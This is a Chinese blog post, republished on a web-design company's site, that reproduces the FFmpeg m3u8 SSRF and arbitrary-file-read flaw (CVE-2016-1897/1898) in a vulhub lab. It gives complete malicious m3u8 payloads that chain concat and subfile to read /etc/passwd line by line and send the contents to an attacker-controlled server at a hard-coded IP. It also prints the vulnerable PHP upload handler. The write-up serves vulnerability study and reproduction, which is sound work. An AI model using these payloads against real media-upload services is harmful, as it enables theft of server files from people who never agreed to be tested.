ffmpeg任意文件讀取漏洞SSRF的示例分析

小編給大家分享一下ffmpeg任意文件讀取漏洞SSRF的示例分析,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!

創(chuàng)新互聯(lián)公司專業(yè)成都網(wǎng)站建設(shè)、成都網(wǎng)站制作,集網(wǎng)站策劃、網(wǎng)站設(shè)計(jì)、網(wǎng)站制作于一體,網(wǎng)站seo、網(wǎng)站優(yōu)化、網(wǎng)站營(yíng)銷、軟文發(fā)布平臺(tái)等專業(yè)人才根據(jù)搜索規(guī)律編程設(shè)計(jì),讓網(wǎng)站在運(yùn)行后,在搜索中有好的表現(xiàn),專業(yè)設(shè)計(jì)制作為您帶來(lái)效益的網(wǎng)站!讓網(wǎng)站建設(shè)為您創(chuàng)造效益。

僅供參考學(xué)習(xí)使用

ffmpeg 任意文件讀取漏洞 / SSRF 漏洞 (CVE-2016-1897/CVE-2016-1898)

Port : 8090

FFmpeg 是一套可以用來(lái)記錄、轉(zhuǎn)換數(shù)字音頻、視頻,并能將其轉(zhuǎn)化為流的開(kāi)源計(jì)算機(jī)程序。功能非常強(qiáng)大,是每個(gè)視頻網(wǎng)站必不可少的多媒體文件處理程序。

在 FFMpeg2.X 由于在解析 HTTP Live Streaming 流媒體 m3u8 文件處理不當(dāng),可導(dǎo)致 SSRF 漏洞與任意文件讀取漏洞。當(dāng)網(wǎng)站允許用戶上傳多媒體文件,并使用 FFMpeg 進(jìn)行處理時(shí)會(huì)觸發(fā)該漏洞。

這個(gè)漏洞有兩個(gè) CVE 編號(hào),分別是 CVE-2016-1897 和 CVE-2016-1898,它們兩個(gè)的區(qū)別在于讀取文件的行數(shù),CVE-2016-1897 只能讀取文件的第一行,而 CVE-2016-1898 可以讀取文件任意行,原理基本一樣。

影響版本

FFmpeg 2.8.x < 2.8.5
FFmpeg 2.7.x < 2.7.5
FFmpeg 2.6.x < 2.6.7
FFmpeg 2.5.x < 2.5.10

這個(gè)漏洞主要涉及 ffmpeg 對(duì) m3u8文件的處理不當(dāng)導(dǎo)致的,具體的原理部分不過(guò)多贅述,可以參考如下連接:

原理

  • http://blog.neargle.com/SecNewsBak/drops/CVE-2016-1897.8%20-%20FFMpeg%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html

  • http://xdxd.love/2016/01/18/ffmpeg-SSRF%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

  • https://habr.com/en/company/mailru/blog/274855/

漏洞環(huán)境

如下測(cè)試環(huán)境借助 vulhub 的 docker 鏡像,附上 P 師傅的鏈接:https://github.com/vulhub/vulhub

運(yùn)行測(cè)試環(huán)境:

docker-compose  up  -d

運(yùn)行完成后,訪問(wèn)對(duì)應(yīng)的 URL 端口,可以看到有個(gè)視頻上傳的接口ffmpeg任意文件讀取漏洞SSRF的示例分析

查看后臺(tái)的 php 源碼,實(shí)際上只是借用了 ffmpeg -i 這個(gè)命令,因此實(shí)際上如果沒(méi)有部署 docker 鏡像,可以之際安裝 ffmpeg 軟件,通過(guò) ffmpeg 轉(zhuǎn)換即可。

<?php
if(!empty($_FILES)) {
    $filename = escapeshellarg($_FILES['file']['tmp_name']);
    $newname = './' . uniqid() . '.mp4';
    shell_exec("ffmpeg -i $filename $newname");
}
?>

漏洞復(fù)現(xiàn)

我們首先構(gòu)造一個(gè)惡意的 m3u8 的文件(用記事本編寫(xiě),保存為.m3u8后綴):

#EXTM3U
 #EXT-X-MEDIA-SEQUENCE:0
 #EXTINF:10.0,
 http://X.X.X.X:9999/test.txt
 #EXT-X-ENDLIST
各參數(shù)說(shuō)明: 
#EXTM3U 標(biāo)簽是 m3u8 的文件頭,開(kāi)頭必須要這一行
#EXT-X-MEDIA-SEQUENCE 表示每一個(gè)media URI 在 PlayList中只有唯一的序號(hào),相鄰之間序號(hào)+1
#EXTINF:10.0, 表示該一段 TS 流文件的長(zhǎng)度
#EXT-X-ENDLIST 這個(gè)相當(dāng)于文件結(jié)束符

這些是 m3u8 的最基本的標(biāo)簽,而問(wèn)題就出在 FFMpeg 去請(qǐng)求 TS 流文件(URL)時(shí),F(xiàn)FMpeg 不會(huì)判斷里面的流地址,直接請(qǐng)求。服務(wù)端監(jiān)聽(tīng)端口:

ffmpeg任意文件讀取漏洞SSRF的示例分析

既然可以請(qǐng)求外部數(shù)據(jù),因此可以嘗試 SSRF 帶外。通過(guò)查閱資料,發(fā)現(xiàn) ffmpeg 內(nèi)部有一個(gè) concat 函數(shù),因此我們可以將內(nèi)部數(shù)據(jù)通過(guò) concat 拼接 OOB。ffmpeg任意文件讀取漏洞SSRF的示例分析

如果直接使用 concat 拼接,只會(huì)正常請(qǐng)求,因此我們需要一些小技巧,將本地文件帶出來(lái)。

  • 首先,我們需要在 web 服務(wù)器上創(chuàng)建一個(gè) error.txt,文件內(nèi)容是 m3u8 的格式,其中不包含文件結(jié)束符。

  • 其次,我們?cè)賱?chuàng)建一個(gè)惡意的 m3u8 文件(或者 avi、mp4 等后綴),文件內(nèi)容通過(guò) concat 拼接本地文件 /etc/passwd。

  • 最后,我們上傳這個(gè)惡意的 m3u8 文件。參考文件內(nèi)容如下:

error.txt

#EXTM3U
 #EXT-X-MEDIA-SEQUENCE:0
 #EXTINF:,
 http://X.X.X.X:9999/?

upload.m3u8

#EXTM3U
 #EXT-X-TARGETDURATION:6
 #EXTINF:10.0,
 concat:http://X.X.X.X:8989/error.txt|file:///etc/passwd
 #EXT-X-ENDLIST

web 服務(wù)器部署 error.txt:

ffmpeg任意文件讀取漏洞SSRF的示例分析

上傳惡意的 m3u8 文件:

ffmpeg任意文件讀取漏洞SSRF的示例分析

同時(shí),vps 監(jiān)聽(tīng) 9999 端口:

ffmpeg任意文件讀取漏洞SSRF的示例分析

注意:

  • 以上的文件需要使用記事本編輯保存,選擇默認(rèn) utf-8 格式。嘗試使用 vim 創(chuàng)建時(shí),一直復(fù)現(xiàn)失敗。

  • 特地鳴謝如下鏈接作者提供的解決方案https://blog.safebuff.com/2016/05/12/CVE-2016-1897-8-FFMpeg%E6%BC%8F%E6%B4%9E%E5%BA%94%E6%80%A5%E5%88%86%E6%9E%90/

  • 因?yàn)樯蟼髦?,后端?huì)一直進(jìn)行轉(zhuǎn)碼,進(jìn)程會(huì)卡死,頁(yè)面無(wú)響應(yīng)。需要進(jìn)入 docker 中,手動(dòng) kill ffmpeg 進(jìn)程。

ffmpeg任意文件讀取漏洞SSRF的示例分析

可以發(fā)現(xiàn)以上的操作方式,只能將 /etc/passwd 數(shù)據(jù)中的第一行帶外出來(lái),但是后面的內(nèi)容還是沒(méi)有讀出來(lái),因此我們借助其他函數(shù)進(jìn)行進(jìn)一步利用。ffmpeg 還提供了 subfile 函數(shù),其中 Start 后是開(kāi)始截取的偏移量,以字節(jié)為單位,end 是結(jié)束的偏移量。

ffmpeg任意文件讀取漏洞SSRF的示例分析

只需要修改惡意的 upload.m3u8 文件

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://47.99.191.76:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd
#EXT-X-ENDLIST

在逐漸增加 subfile 偏移量的測(cè)試過(guò)程中,發(fā)現(xiàn)超過(guò)一定長(zhǎng)度后,數(shù)據(jù)讀取部分不再增加。猜測(cè)可能和 URL 長(zhǎng)度或者和換行符有關(guān)。ffmpeg任意文件讀取漏洞SSRF的示例分析

ffmpeg任意文件讀取漏洞SSRF的示例分析

在不斷測(cè)試的過(guò)程中,最終發(fā)現(xiàn),與 URL 長(zhǎng)度,m3u8 請(qǐng)求 URL 都無(wú)關(guān)系,也沒(méi)有 32 字節(jié)的限制。實(shí)際上 concat 連接 URL 時(shí)是不能包含換行符的。/etc/passwd 文件存儲(chǔ)過(guò)程中換行符 \n 是占一個(gè)字符的,所以無(wú)論是通過(guò) file 協(xié)議,還是 subfile 切片,只要是讀取到 \n 則中斷,后面的內(nèi)容無(wú)法輸出。

按照這個(gè)思路,我們能只需要通過(guò) subfile 讀取文件時(shí),跳過(guò) \n 符號(hào),不斷根據(jù)返回的數(shù)據(jù)進(jìn)行調(diào)試,最終可以讀取到完整的數(shù)據(jù)。以如下的 /etc/passwd 的文件為例,附上 payload 參考:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
messagebus:x:101:101::/var/run/dbus:/bin/false
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://47.99.191.76:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd|subfile,,start,80,end,116,,:///etc/passwd|subfile,,start,117,end,153,,:///etc/passwd|subfile,,start,154,end,188,,:///etc/passwd|subfile,,start,189,end,236,,:///etc/passwd|subfile,,start,237,end,284,,:///etc/passwd|subfile,,start,285,end,329,,:///etc/passwd|subfile,,start,330,end,373,,:///etc/passwd|subfile,,start,374,end,423,,:///etc/passwd|subfile,,start,424,end,475,,:///etc/passwd|subfile,,start,476,end,518,,:///etc/passwd|subfile,,start,519,end,571,,:///etc/passwd|subfile,,start,572,end,624,,:///etc/passwd|subfile,,start,625,end,686,,:///etc/passwd|subfile,,start,687,end,735,,:///etc/passwd|subfile,,start,736,end,817,,:///etc/passwd|subfile,,start,818,end,876,,:///etc/passwd|subfile,,start,877,end,918,,:///etc/passwd|subfile,,start,919,end,965,,:///etc/passwd
#EXT-X-ENDLIST

最終讀出所有數(shù)據(jù):

ffmpeg任意文件讀取漏洞SSRF的示例分析

以上是“ffmpeg任意文件讀取漏洞SSRF的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對(duì)大家有所幫助,如果還想學(xué)習(xí)更多知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!

網(wǎng)頁(yè)題目:ffmpeg任意文件讀取漏洞SSRF的示例分析
網(wǎng)頁(yè)鏈接:http://muchs.cn/article20/ghesco.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站改版、域名注冊(cè)、網(wǎng)站收錄、網(wǎng)站內(nèi)鏈、網(wǎng)站導(dǎo)航

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

營(yíng)銷型網(wǎng)站建設(shè)